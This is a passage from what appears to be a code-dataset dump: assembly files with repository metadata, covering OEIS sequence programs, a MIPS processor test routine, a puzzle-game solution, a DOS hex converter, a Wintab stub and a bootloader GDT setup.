082,81781,82483,83188,83896,84607,85321,86038,86758,87481,88207,88936,89668,90403,91141,91882,92626,93373,94123
add $0,2
bin $0,2
mov $1,$0
mul $1,3
sub $1,2
| 163.666667 | 1,386 | 0.798371 |
951c5d7ec53601367a0c678d9da0bce97e8575d9 | 673 | asm | Assembly | oeis/188/A188386.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/188/A188386.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/188/A188386.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A188386: Numerator(h(n+2)-h(n-1)), where h(n) is the n-th harmonic number sum(1/k, k=1..n).
; 11,13,47,37,107,73,191,121,299,181,431,253,587,337,767,433,971,541,1199,661,1451,793,1727,937,2027,1093,2351,1261,2699,1441,3071,1633,3467,1837,3887,2053,4331,2281,4799,2521,5291,2773,5807,3037,6347,3313,6911,3601,7499,3901,8111,4213,8747,4537,9407,4873,10091,5221,10799,5581,11531,5953,12287,6337,13067,6733,13871,7141,14699,7561,15551,7993,16427,8437,17327,8893,18251,9361,19199,9841,20171,10333,21167,10837,22187,11353,23231,11881,24299,12421,25391,12973,26507,13537,27647,14113,28811,14701,29999
add $0,2
mov $1,$0
mul $0,2
add $0,$1
mul $1,$0
sub $1,1
dif $1,2
mov $0,$1
| 56.083333 | 501 | 0.742942 |
3e10de6d894cce6c1ed466a5ddfde0b27da7dddb | 562 | asm | Assembly | oeis/157/A157111.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/157/A157111.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/157/A157111.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A157111: a(n) = 137842*n - 106846.
; 30996,168838,306680,444522,582364,720206,858048,995890,1133732,1271574,1409416,1547258,1685100,1822942,1960784,2098626,2236468,2374310,2512152,2649994,2787836,2925678,3063520,3201362,3339204,3477046,3614888,3752730,3890572,4028414,4166256,4304098,4441940,4579782,4717624,4855466,4993308,5131150,5268992,5406834,5544676,5682518,5820360,5958202,6096044,6233886,6371728,6509570,6647412,6785254,6923096,7060938,7198780,7336622,7474464,7612306,7750148,7887990,8025832,8163674,8301516,8439358,8577200
mul $0,137842
add $0,30996
| 93.666667 | 496 | 0.841637 |
fff2a274397bb83f5fba198eabd3e1082403f31a | 83 | asm | Assembly | public/wintab/wintabx/close.asm | DannyParker0001/Kisak-Strike | 99ed85927336fe3aff2efd9b9382b2b32eb1d05d | [
"Unlicense"
] | 252 | 2020-12-16T15:34:43.000Z | 2022-03-31T23:21:37.000Z | cstrike15_src/public/wintab/wintabx/close.asm | bahadiraraz/Counter-Strike-Global-Offensive | 9a0534100cb98ffa1cf0c32e138f0e7971e910d3 | [
"MIT"
] | 23 | 2020-12-20T18:02:54.000Z | 2022-03-28T16:58:32.000Z | cstrike15_src/public/wintab/wintabx/close.asm | bahadiraraz/Counter-Strike-Global-Offensive | 9a0534100cb98ffa1cf0c32e138f0e7971e910d3 | [
"MIT"
] | 42 | 2020-12-19T04:32:33.000Z | 2022-03-30T06:00:28.000Z | include xlibproc.inc
include Wintab.inc
PROC_TEMPLATE WTClose, 1, Wintab, -, 22
| 20.75 | 40 | 0.759036 |
a670dd07a7c971c600b76d11acf275991c6c7b40 | 420 | asm | Assembly | programs/oeis/081/A081842.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/081/A081842.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/081/A081842.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A081842: a(1)=0, a(n)=a(n-1)+4 if n is already in the sequence, a(n)=a(n-1)+3 otherwise.
; 0,3,7,10,13,16,20,23,26,30,33,36,40,43,46,50,53,56,59,63,66,69,73,76,79,83,86,89,92,96,99,102,106,109,112,116,119,122,125,129,132,135,139,142,145,149,152,155,158,162,165,168,172,175,178,182,185,188,192,195
mov $2,$0
mul $0,10
add $0,15
mov $1,$0
div $1,360
mov $3,$0
sub $3,$1
div $3,33
mov $1,$3
mov $4,$2
mul $4,3
add $1,$4
| 26.25 | 207 | 0.635714 |
184400a2bedaf09aa48884e80ba07e24fbc729f9 | 214 | asm | Assembly | MEMZ/NyanMBR/Source/Stage2/Setup/setupSpeaker.asm | johnmelodyme/viruses | c8c4b628a6ae725a45312b4365fa8a6876509706 | [
"BSD-2-Clause"
] | 4 | 2018-11-15T08:23:06.000Z | 2019-04-29T13:30:44.000Z | MEMZ/NyanMBR/Source/Stage2/Setup/setupSpeaker.asm | johnmelodyme/Viruses | c8c4b628a6ae725a45312b4365fa8a6876509706 | [
"BSD-2-Clause"
] | null | null | null | MEMZ/NyanMBR/Source/Stage2/Setup/setupSpeaker.asm | johnmelodyme/Viruses | c8c4b628a6ae725a45312b4365fa8a6876509706 | [
"BSD-2-Clause"
] | 2 | 2019-02-13T19:53:26.000Z | 2021-05-30T19:04:43.000Z | ; Setup the PC speaker timer
mov al, 10110110b
out 0x43, al
; Set the default frequency
mov ax, 1193 ; ~1000 Hz
out 0x42, al
mov al, ah
out 0x42, al
; Enable the PC speaker
in al, 61h
or al, 00000011b
out 61h, al | 15.285714 | 28 | 0.714953 |
0117417fc8e2521a1a4e873ec20eb862779a773f | 720 | asm | Assembly | oeis/138/A138377.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/138/A138377.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/138/A138377.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A138377: a(0) = 0, a(1) = 1, a(2) = 3, a(3) = 2; thereafter a(n) = -4*a(n-4).
; Submitted by Jon Maiga
; 0,1,3,2,0,-4,-12,-8,0,16,48,32,0,-64,-192,-128,0,256,768,512,0,-1024,-3072,-2048,0,4096,12288,8192,0,-16384,-49152,-32768,0,65536,196608,131072,0,-262144,-786432,-524288,0,1048576,3145728,2097152,0,-4194304,-12582912,-8388608,0,16777216,50331648,33554432,0,-67108864,-201326592,-134217728,0,268435456,805306368,536870912,0,-1073741824,-3221225472,-2147483648,0,4294967296,12884901888,8589934592,0,-17179869184,-51539607552,-34359738368,0,68719476736,206158430208,137438953472,0,-274877906944
sub $3,$0
lpb $0
sub $0,1
add $2,$1
mul $1,2
sub $1,$2
add $1,1
gcd $3,2
add $1,$3
lpe
mov $0,$1
div $0,2
| 42.352941 | 493 | 0.690278 |
c2081271131ffb4847d04a8b9125fe160045e321 | 667 | asm | Assembly | solutions/20 - Reverse Line/size-48_speed-4.asm | michaelgundlach/7billionhumans | 02c6f3963364362c95cb516cbc6ef1efc073bb2e | [
"MIT"
] | 45 | 2018-09-05T04:56:59.000Z | 2021-11-22T08:57:26.000Z | solutions/20 - Reverse Line/size-48_speed-4.asm | michaelgundlach/7billionhumans | 02c6f3963364362c95cb516cbc6ef1efc073bb2e | [
"MIT"
] | 36 | 2018-09-01T11:34:26.000Z | 2021-05-19T23:20:49.000Z | solutions/20 - Reverse Line/size-48_speed-4.asm | michaelgundlach/7billionhumans | 02c6f3963364362c95cb516cbc6ef1efc073bb2e | [
"MIT"
] | 36 | 2018-09-01T07:44:19.000Z | 2021-09-10T19:07:35.000Z | -- 7 Billion Humans (2053) --
-- 20: Reverse Line --
-- Author: ansvonwa
-- Size: 48
-- Speed: 4
if se == hole or
sw == hole:
if se == hole:
step s
step sw
pickup ne
step w
step w
a:
step w
step w
b:
step w
step nw
drop
end
drop
endif
pickup s
step e
step e
step e
c:
step e
step e
d:
step e
step se
drop
end
endif
step s
if ne == worker or
nw == worker:
if s == worker:
pickup c
step sw
jump a
else:
pickup c
step ne
jump c
endif
endif
pickup c
if ne == worker or
n == worker:
step n
step e
jump d
endif
if s == worker:
step s
step w
jump b
endif
if w != worker:
step e
else:
step w
endif
drop
| 9.263889 | 29 | 0.595202 |
68b9fd2c32fe8fbc8aeb9b32801eb70e1a5ba2d4 | 861 | asm | Assembly | randomly-solved-programs/hex input and hex output.asm | informramiz/Assembly-Language-Programs | 600d8f737a09ef4c133b686918501fba56dd586e | [
"Apache-2.0"
] | null | null | null | randomly-solved-programs/hex input and hex output.asm | informramiz/Assembly-Language-Programs | 600d8f737a09ef4c133b686918501fba56dd586e | [
"Apache-2.0"
] | null | null | null | randomly-solved-programs/hex input and hex output.asm | informramiz/Assembly-Language-Programs | 600d8f737a09ef4c133b686918501fba56dd586e | [
"Apache-2.0"
] | null | null | null | .MODEL SMALL
.STACK 100H
.DATA
INPUT_MSG DB 'Enter hex numbers: $'
BIT_MSG DB 0AH,0DH,'Entered number is:$'
.CODE
MAIN PROC
;making the DS to point to data segment
MOV AX,@DATA
MOV DS,AX
LEA DX,INPUT_MSG
MOV AH,9
INT 21H
XOR BX,BX
MOV CL,4
MOV AH,1
INT 21H
WHILE_:
CMP AL,0DH
JE END_WHILE_
CMP AL,39H
JG LETTER
AND AL,0FH
JMP SHIFT
LETTER:
SUB AL,37H
SHIFT:
SHL BX,CL
OR BL,AL
INT 21H
JMP WHILE_
END_WHILE_:
LEA DX,BIT_MSG
MOV AH,9
INT 21H
MOV CH,4
MOV AH,2
TOP:
MOV DL,BH
SHR DL,CL
CMP DL,9H
JG CHARACTER
OR DL,30H
INT 21H
ROL BX,CL
DEC CH
JNZ TOP
JMP EXIT
CHARACTER:
ADD DL,37H
INT 21H
ROL BX,CL
DEC CH
JNZ TOP
EXIT:
MOV AH,4CH
INT 21H
MAIN ENDP
END MAIN
| 11.328947 | 44 | 0.565621 |
ccb4667ba12ddf755a227873a78ae4b21d02efac | 10,610 | asm | Assembly | P6/data_P6_2/MDTest123.asm | alxzzhou/BUAA_CO_2020 | b54bf367081a5a11701ebc3fc78a23494aecca9e | [
"Apache-2.0"
] | 1 | 2022-01-23T09:24:47.000Z | 2022-01-23T09:24:47.000Z | P6/data_P6_2/MDTest123.asm | alxzzhou/BUAA_CO_2020 | b54bf367081a5a11701ebc3fc78a23494aecca9e | [
"Apache-2.0"
] | null | null | null | P6/data_P6_2/MDTest123.asm | alxzzhou/BUAA_CO_2020 | b54bf367081a5a11701ebc3fc78a23494aecca9e | [
"Apache-2.0"
] | null | null | null | ori $ra,$ra,0xf
addu $3,$3,$3
ori $2,$0,10174
srav $4,$4,$4
srav $6,$1,$3
addiu $4,$0,-26455
mtlo $1
mflo $5
addu $1,$4,$1
mflo $6
ori $0,$3,31015
ori $0,$0,9100
div $3,$ra
mfhi $5
sb $0,0($0)
mfhi $0
lui $4,53429
mthi $4
sb $4,4($0)
mult $1,$5
sll $4,$4,21
div $4,$ra
mflo $5
srav $4,$5,$4
addu $1,$2,$2
mfhi $5
sll $1,$1,3
srav $1,$0,$0
addiu $5,$4,29481
multu $0,$4
lui $2,6887
addiu $2,$2,-9309
srav $6,$6,$4
addiu $2,$2,26970
sll $5,$4,7
srav $4,$2,$3
addu $0,$2,$6
mfhi $6
sll $0,$1,29
mfhi $4
ori $1,$4,14397
mtlo $2
mult $5,$6
addu $1,$4,$2
divu $0,$ra
div $2,$ra
div $6,$ra
divu $4,$ra
addu $4,$5,$5
lui $3,45039
sll $2,$2,8
addiu $1,$3,-20756
sll $4,$4,14
divu $4,$ra
mtlo $1
lui $1,8909
mfhi $5
mflo $4
mult $4,$5
ori $1,$5,18538
lui $0,17552
addiu $5,$5,6131
sll $2,$2,31
ori $4,$0,58471
mflo $4
mflo $1
srav $5,$5,$5
mfhi $2
mfhi $0
mtlo $5
sll $4,$4,4
addu $5,$4,$2
mflo $1
div $2,$ra
mfhi $6
mthi $0
mult $4,$5
addu $4,$3,$3
multu $4,$4
lb $4,9($0)
ori $5,$4,7211
srav $6,$4,$3
addu $3,$2,$3
addiu $4,$1,-8141
mtlo $3
mfhi $1
ori $1,$0,19637
addiu $6,$6,2351
divu $4,$ra
lb $5,16($0)
sb $0,4($0)
divu $4,$ra
addiu $5,$0,28288
sll $5,$5,4
addu $1,$4,$2
mflo $3
addu $4,$1,$4
divu $1,$ra
lb $1,3($0)
addu $1,$0,$2
addiu $5,$5,-22349
mthi $4
mtlo $2
srav $3,$4,$3
mult $2,$2
srav $1,$2,$3
div $4,$ra
mult $6,$4
div $5,$ra
mult $4,$2
lui $5,12879
addiu $0,$5,12298
mthi $2
mult $6,$2
multu $6,$4
mtlo $5
sb $0,13($0)
sb $1,4($0)
div $2,$ra
sb $1,16($0)
mtlo $5
mult $2,$2
mflo $5
mult $0,$1
mfhi $4
sb $5,6($0)
lb $6,11($0)
lui $4,36779
srav $4,$4,$6
lb $5,8($0)
mtlo $4
addiu $0,$0,2048
div $2,$ra
divu $1,$ra
lb $6,7($0)
mthi $4
mult $1,$1
divu $4,$ra
lui $5,54034
mthi $6
sb $4,6($0)
lui $4,60079
mthi $3
divu $1,$ra
mult $3,$0
mtlo $4
divu $0,$ra
srav $5,$1,$5
sll $3,$4,21
lb $2,10($0)
mfhi $1
ori $2,$1,23431
srav $1,$0,$4
mult $0,$2
divu $5,$ra
mthi $4
div $6,$ra
mtlo $4
mult $5,$5
addu $4,$5,$3
lb $5,8($0)
lb $4,5($0)
srav $1,$5,$2
ori $5,$2,44430
mthi $5
lui $2,25296
sb $4,10($0)
mtlo $0
multu $4,$6
mtlo $0
sll $5,$0,1
div $4,$ra
lb $0,12($0)
div $1,$ra
mflo $4
mult $4,$4
mthi $4
mult $2,$2
srav $4,$0,$0
div $1,$ra
srav $4,$4,$4
sb $1,13($0)
sll $5,$2,16
lui $1,38763
sll $1,$1,13
srav $4,$4,$3
lb $0,7($0)
sll $5,$2,13
addu $1,$2,$3
mflo $6
lui $3,25840
div $1,$ra
srav $4,$1,$4
addu $4,$4,$4
addu $5,$5,$5
mfhi $5
divu $3,$ra
div $3,$ra
lui $5,36444
mfhi $4
mtlo $6
sll $2,$2,23
srav $4,$2,$0
ori $4,$2,17110
srav $6,$1,$4
lb $0,8($0)
div $2,$ra
ori $4,$6,47101
div $1,$ra
lb $4,16($0)
addiu $5,$0,17475
mtlo $6
div $4,$ra
addu $5,$5,$5
multu $4,$2
addiu $1,$1,-21672
lb $3,14($0)
divu $3,$ra
ori $5,$4,17478
mthi $4
mult $0,$5
addu $6,$6,$6
mthi $4
srav $0,$0,$2
mult $5,$4
multu $1,$5
ori $1,$5,9367
divu $5,$ra
lb $0,6($0)
ori $3,$4,24188
sll $0,$5,30
sll $6,$5,1
mtlo $5
lb $1,11($0)
srav $2,$5,$2
mflo $1
divu $6,$ra
sll $4,$2,31
mfhi $3
addiu $2,$2,-27445
divu $3,$ra
div $6,$ra
mthi $1
addu $2,$2,$3
srav $4,$4,$5
mult $4,$5
lui $5,47701
ori $1,$6,36197
lb $0,3($0)
divu $2,$ra
div $1,$ra
mthi $0
divu $4,$ra
mtlo $4
mflo $6
mthi $5
mflo $5
lb $1,16($0)
mfhi $5
mult $3,$3
lui $4,27351
mfhi $0
mthi $6
addiu $1,$4,-30522
sb $2,10($0)
sb $5,11($0)
mult $1,$5
addu $2,$2,$2
multu $4,$4
divu $0,$ra
srav $5,$1,$1
multu $1,$4
ori $6,$0,28821
multu $4,$4
multu $3,$3
divu $4,$ra
mtlo $1
div $5,$ra
sll $2,$2,29
mthi $4
srav $4,$2,$3
srav $6,$4,$4
addiu $4,$4,21908
div $0,$ra
sll $3,$3,11
multu $4,$4
multu $4,$4
lb $4,16($0)
addiu $2,$2,16024
divu $6,$ra
addiu $6,$6,-23311
lb $4,5($0)
sll $2,$2,9
addu $5,$4,$0
lb $0,2($0)
lui $3,32197
ori $0,$2,49264
srav $0,$1,$0
divu $0,$ra
addu $0,$5,$4
sll $5,$2,3
mult $6,$6
sb $5,10($0)
mult $4,$5
lui $4,27229
multu $0,$0
multu $4,$4
lui $0,2351
sll $3,$4,24
ori $5,$4,22911
lb $0,5($0)
mfhi $4
addu $5,$4,$4
mflo $1
addiu $2,$4,-14095
addu $6,$4,$4
sll $5,$2,23
mfhi $4
srav $2,$2,$2
sll $5,$5,30
ori $1,$1,49962
ori $4,$4,44080
ori $0,$4,44982
mflo $1
mflo $2
multu $4,$2
addiu $1,$2,12078
sll $5,$1,16
addu $4,$2,$2
mflo $3
mflo $5
srav $5,$4,$5
sb $4,10($0)
lb $2,2($0)
sb $0,3($0)
addiu $1,$4,-19736
lb $5,10($0)
ori $4,$1,4125
div $4,$ra
lb $4,13($0)
sll $0,$0,7
addiu $0,$1,5688
lui $4,28225
mult $5,$1
mflo $4
lui $4,34302
multu $4,$3
mfhi $2
lui $3,9264
addiu $5,$5,-24173
ori $2,$2,62725
mtlo $0
addu $1,$1,$2
mflo $3
mthi $4
divu $6,$ra
divu $6,$ra
mfhi $5
mflo $1
multu $6,$5
sll $0,$1,25
addu $1,$0,$4
ori $1,$6,53619
mfhi $4
mfhi $6
div $1,$ra
divu $4,$ra
mflo $1
sb $1,11($0)
addu $6,$6,$5
div $0,$ra
srav $4,$2,$2
sll $4,$4,7
mthi $4
sll $1,$5,9
sb $5,12($0)
addu $5,$5,$6
sll $1,$2,21
lb $1,0($0)
mfhi $0
mtlo $5
mthi $1
mflo $4
divu $1,$ra
mthi $6
srav $0,$2,$3
multu $6,$2
sll $0,$5,8
lb $5,6($0)
lb $6,16($0)
mtlo $2
mtlo $5
mtlo $4
div $1,$ra
lb $3,3($0)
srav $4,$0,$2
addu $0,$0,$0
div $5,$ra
sll $1,$1,23
mthi $4
mfhi $4
addu $1,$2,$1
ori $5,$5,12149
addiu $0,$2,26201
lui $0,22090
divu $1,$ra
div $5,$ra
ori $4,$1,60649
mfhi $2
addiu $1,$6,25441
mflo $6
srav $5,$4,$1
addiu $2,$2,31506
ori $3,$1,15373
addu $5,$4,$5
mflo $4
srav $0,$2,$0
div $1,$ra
ori $4,$1,18866
divu $4,$ra
sb $5,15($0)
mthi $5
divu $6,$ra
lui $3,10221
lb $3,16($0)
addiu $6,$5,-13867
divu $4,$ra
sll $4,$0,0
divu $3,$ra
mfhi $0
sll $1,$4,12
mthi $4
multu $4,$1
div $6,$ra
multu $4,$5
srav $4,$3,$3
lb $1,4($0)
mfhi $3
sb $5,0($0)
srav $2,$2,$6
multu $1,$4
lui $1,38535
mult $1,$4
sb $6,4($0)
mfhi $1
mflo $1
mflo $6
mfhi $2
sll $1,$0,22
addu $3,$2,$3
lb $1,1($0)
mult $2,$2
addiu $5,$4,-20646
addiu $4,$4,-29224
mflo $1
mfhi $5
addu $2,$2,$2
mtlo $0
addu $0,$3,$3
sll $4,$6,10
mflo $4
div $0,$ra
mfhi $5
divu $5,$ra
mfhi $0
lui $4,57739
sb $4,11($0)
mfhi $0
mflo $4
multu $3,$2
addiu $4,$4,-8172
ori $6,$2,56446
sll $1,$6,14
srav $3,$0,$3
divu $4,$ra
sll $6,$2,24
mult $1,$5
mflo $6
lb $5,16($0)
div $1,$ra
sb $1,10($0)
multu $4,$1
div $2,$ra
addu $2,$2,$3
ori $4,$1,3470
lui $1,8934
addiu $0,$5,-23226
mtlo $6
mtlo $4
addiu $4,$0,-26595
addiu $4,$0,-32205
srav $1,$3,$3
multu $2,$5
sll $1,$6,1
multu $6,$2
divu $1,$ra
ori $4,$4,61154
divu $1,$ra
multu $5,$4
sb $2,6($0)
ori $5,$4,16810
mflo $4
multu $5,$0
sb $6,13($0)
ori $2,$2,45125
mthi $5
addiu $4,$4,26781
mthi $4
srav $4,$1,$1
lui $1,39884
sll $5,$1,6
sll $1,$5,5
addu $4,$1,$3
mthi $4
addu $3,$5,$3
mult $3,$3
addiu $3,$3,31681
srav $4,$4,$5
sb $5,6($0)
mfhi $5
mflo $0
lb $4,2($0)
mtlo $4
addu $5,$5,$4
mtlo $5
sb $5,5($0)
srav $4,$2,$5
sll $4,$0,16
mult $4,$4
mfhi $0
addiu $1,$2,-16963
mfhi $4
ori $5,$0,33608
srav $4,$5,$1
mflo $6
mflo $3
sb $3,6($0)
addu $5,$5,$4
lui $2,47881
addu $4,$4,$4
mfhi $4
addu $5,$5,$5
srav $3,$0,$3
mflo $5
addiu $4,$6,10415
mfhi $4
sb $4,13($0)
sll $4,$0,19
srav $2,$4,$2
sb $6,10($0)
sb $1,1($0)
srav $0,$2,$2
lb $6,9($0)
mflo $4
multu $2,$2
mfhi $6
sll $5,$2,27
mfhi $2
sb $4,14($0)
mfhi $6
sb $4,6($0)
srav $5,$4,$6
mfhi $1
mfhi $1
addu $4,$2,$2
ori $6,$4,13093
mthi $1
multu $4,$4
mfhi $3
div $0,$ra
addiu $5,$1,16472
lui $2,47589
lui $4,63362
mflo $2
mtlo $6
lb $5,3($0)
div $4,$ra
mult $6,$6
mflo $0
divu $2,$ra
div $4,$ra
mthi $3
divu $1,$ra
addu $4,$1,$0
div $4,$ra
lb $0,12($0)
addu $5,$2,$3
multu $1,$5
sll $4,$4,19
sb $4,7($0)
mtlo $6
sb $4,13($0)
mflo $4
mtlo $5
mfhi $4
sll $6,$6,22
div $4,$ra
mfhi $1
addu $5,$6,$6
lui $5,62198
mfhi $0
divu $4,$ra
divu $4,$ra
lb $0,16($0)
lui $6,34040
divu $4,$ra
srav $5,$5,$5
mthi $4
ori $0,$0,26681
srav $5,$3,$3
div $6,$ra
mult $5,$5
addiu $4,$2,-30902
divu $5,$ra
multu $0,$0
addiu $4,$1,-3281
multu $5,$4
mult $3,$2
mthi $5
divu $4,$ra
divu $5,$ra
ori $3,$5,5200
sb $5,13($0)
lb $1,12($0)
mfhi $2
srav $4,$5,$4
mthi $4
mfhi $4
mfhi $4
mflo $2
mfhi $1
mthi $4
srav $5,$5,$2
mthi $0
sb $5,6($0)
sll $5,$6,27
divu $1,$ra
sb $6,3($0)
srav $1,$2,$2
srav $3,$5,$3
lui $4,33420
mult $4,$4
srav $3,$3,$3
mult $6,$1
lui $3,19675
srav $1,$2,$3
mfhi $3
addiu $4,$5,31475
ori $1,$5,48105
sll $4,$6,4
mthi $6
mult $5,$5
srav $1,$1,$3
lui $4,49423
div $0,$ra
mtlo $1
divu $5,$ra
mfhi $6
mthi $4
srav $0,$0,$0
srav $3,$4,$3
addu $5,$5,$5
mtlo $6
ori $3,$1,35320
div $1,$ra
mflo $2
mfhi $4
addiu $5,$4,-16998
lb $1,2($0)
ori $0,$0,34263
ori $2,$1,42400
div $6,$ra
ori $4,$4,45705
addiu $2,$2,-5753
sb $1,12($0)
ori $6,$4,54710
ori $4,$6,56770
addu $4,$6,$6
ori $5,$5,54587
mtlo $4
multu $1,$5
srav $3,$3,$3
mtlo $2
sb $0,16($0)
mfhi $4
srav $3,$3,$3
lui $1,62318
srav $5,$4,$4
ori $3,$3,63090
mfhi $1
divu $5,$ra
addiu $6,$5,-18173
div $1,$ra
mtlo $5
mthi $1
mult $1,$4
mtlo $0
mfhi $4
addu $1,$1,$3
sll $5,$3,22
mthi $3
lb $4,14($0)
ori $5,$3,47016
mult $1,$1
ori $4,$3,58368
srav $1,$4,$2
mfhi $4
sll $6,$6,20
div $5,$ra
addu $0,$1,$5
mthi $4
sll $4,$0,21
mtlo $4
mflo $6
mult $4,$4
multu $1,$1
multu $6,$2
mthi $5
srav $2,$2,$2
srav $1,$1,$1
srav $2,$1,$2
mthi $0
mtlo $4
mfhi $0
divu $5,$ra
mult $1,$2
lb $3,9($0)
divu $1,$ra
mthi $2
ori $4,$4,7463
addiu $1,$1,-5413
multu $3,$3
mflo $4
addiu $1,$5,32050
multu $5,$1
mfhi $0
mtlo $6
mult $6,$1
sb $3,11($0)
mthi $4
srav $1,$1,$1
mtlo $0
mtlo $0
multu $1,$6
mflo $6
sb $6,9($0)
addiu $0,$6,32752
div $6,$ra
ori $5,$2,21907
divu $1,$ra
mult $1,$1
mult $2,$4
multu $5,$4
mthi $4
addu $2,$2,$2
sll $5,$5,1
lb $4,7($0)
srav $4,$4,$1
sll $1,$6,29
srav $4,$6,$3
mflo $2
divu $4,$ra
mflo $4
addu $1,$3,$3
mtlo $1
mfhi $5
sb $4,6($0)
mflo $1
div $5,$ra
mult $0,$4
ori $4,$4,64913
multu $0,$0
mult $0,$0
addiu $5,$2,-10038
addu $5,$2,$2
mthi $4
div $0,$ra
mtlo $4
lui $0,31900
mult $1,$0
sb $6,4($0)
mtlo $6
srav $4,$4,$3
srav $4,$1,$4
mflo $1
addiu $4,$1,26136
mfhi $3
srav $0,$4,$0
mthi $5
mtlo $1
multu $4,$1
mtlo $6
lui $1,55055
addu $4,$1,$5
div $5,$ra
addu $6,$1,$0
mthi $6
ori $0,$0,52034
mflo $1
addiu $4,$3,-19966
lb $5,8($0)
mult $6,$6
srav $4,$2,$4
lui $4,29024
multu $6,$2
lb $0,10($0)
div $1,$ra
lb $2,16($0)
lb $1,8($0)
multu $2,$2
mfhi $0
srav $4,$4,$2
mflo $1
multu $3,$2
div $4,$ra
mult $6,$4
ori $4,$4,18328
mtlo $0
divu $1,$ra
mtlo $2
lui $4,29134
lb $1,13($0)
lui $1,65371
mflo $5
multu $1,$5
lui $1,63046
mflo $1
sll $0,$2,8
multu $5,$6
srav $4,$2,$2
ori $1,$3,48046
addiu $5,$4,-22726
lui $4,33559
divu $2,$ra
mthi $4
sll $5,$6,26
mult $3,$3
mthi $0
multu $4,$4
addiu $1,$5,4708
mthi $3
addu $4,$1,$3
sb $4,15($0)
mult $5,$5
mult $2,$2
mult $4,$1
mflo $3
sb $2,13($0)
multu $4,$4
mtlo $4
mthi $4
addiu $4,$4,-1307
sll $4,$4,4
mtlo $1
sll $5,$5,5
mtlo $5
mtlo $4
sb $4,1($0)
sb $2,1($0)
multu $4,$6
mflo $5
addu $1,$3,$3
lui $4,12872
multu $4,$0
multu $6,$5
mthi $1
mult $5,$3
ori $1,$5,38511
sb $1,2($0)
lui $0,41563
ori $0,$1,64062
mflo $4
mflo $3
sb $1,16($0)
srav $4,$4,$3
sll $1,$0,31
sll $6,$4,6
mult $5,$5
sll $6,$1,0
ori $2,$4,9787
divu $6,$ra
lb $4,3($0)
mflo $2
lui $5,42880
lui $6,30183
div $4,$ra
lui $4,13767
sll $3,$4,2
divu $4,$ra
| 11.921348 | 18 | 0.56607 |
b18543b6bd14a72394886749a65d07a26b6441b9 | 944 | asm | Assembly | test/asm_exe/offsets2.asm | nigelperks/BasicAssembler | 13dcc861254fa6c19f1d450682b4495bbebcf934 | [
"MIT"
] | null | null | null | test/asm_exe/offsets2.asm | nigelperks/BasicAssembler | 13dcc861254fa6c19f1d450682b4495bbebcf934 | [
"MIT"
] | null | null | null | test/asm_exe/offsets2.asm | nigelperks/BasicAssembler | 13dcc861254fa6c19f1d450682b4495bbebcf934 | [
"MIT"
] | null | null | null | ; Are data offsets relative to segment or group?
; The question only makes sense for a segment in a group.
; A difference will only be shown when another segment comes before it in the group.
; The problem is only relevant in EXE, not in COM where all is one segment anyway.
; data displacement [disp], [si+disp]
; data word DW fred, OFFSET fred
; immediate mov ax, OFFSET fred
; when the segment register that will address it is assumed to its segment
; when the segment register that will address it is assumed to its group
; (any other case is an error, outside the scope of this file)
IDEAL
ASSUME CS:_CODE
SEGMENT _CODE
start:
int 20h
ASSUME DS:_DATA
mov dx, [disp1]
ENDS _CODE
SEGMENT _DATA1
DB 100H DUP (00)
DB 100H DUP (01)
DB 100H DUP (02)
DB 100H DUP (03)
ENDS _DATA1
SEGMENT _DATA2
disp1 DW 0
ENDS _DATA2
GROUP _DATA _DATA1, _DATA2
SEGMENT _STACK STACK
DB 20H DUP (0)
ENDS _STACK
END start
| 18.153846 | 85 | 0.728814 |
574350b451bcffcbc63caf5fdc61b7291a14c54d | 626 | asm | Assembly | boot/gdt.asm | TehcJS/KettleKernel | 51d936083fc932041559742630aad55e1b008ead | [
"MIT"
] | null | null | null | boot/gdt.asm | TehcJS/KettleKernel | 51d936083fc932041559742630aad55e1b008ead | [
"MIT"
] | null | null | null | boot/gdt.asm | TehcJS/KettleKernel | 51d936083fc932041559742630aad55e1b008ead | [
"MIT"
] | null | null | null | ; GDT
gdt_start:
dd 0x0
dd 0x0
gdt_code:
dw 0xffff
dw 0x0
db 0x0
db 10011010b
db 11001111b
db 0x0
gdt_data:
dw 0xffff
dw 0x0
db 0x0
db 10010010b
db 11001111b
db 0x0
gdt_end:
gdt_descriptor:
dw gdt_end - gdt_start - 1
dd gdt_start
CODE_SEG equ gdt_code - gdt_start
DATA_SEG equ gdt_data - gdt_start
[bits 16]
switch_pm:
mov bx, SWITCHING_PM
call print
cli
lgdt [gdt_descriptor]
mov eax, cr0
or eax, 0x1
mov cr0, eax
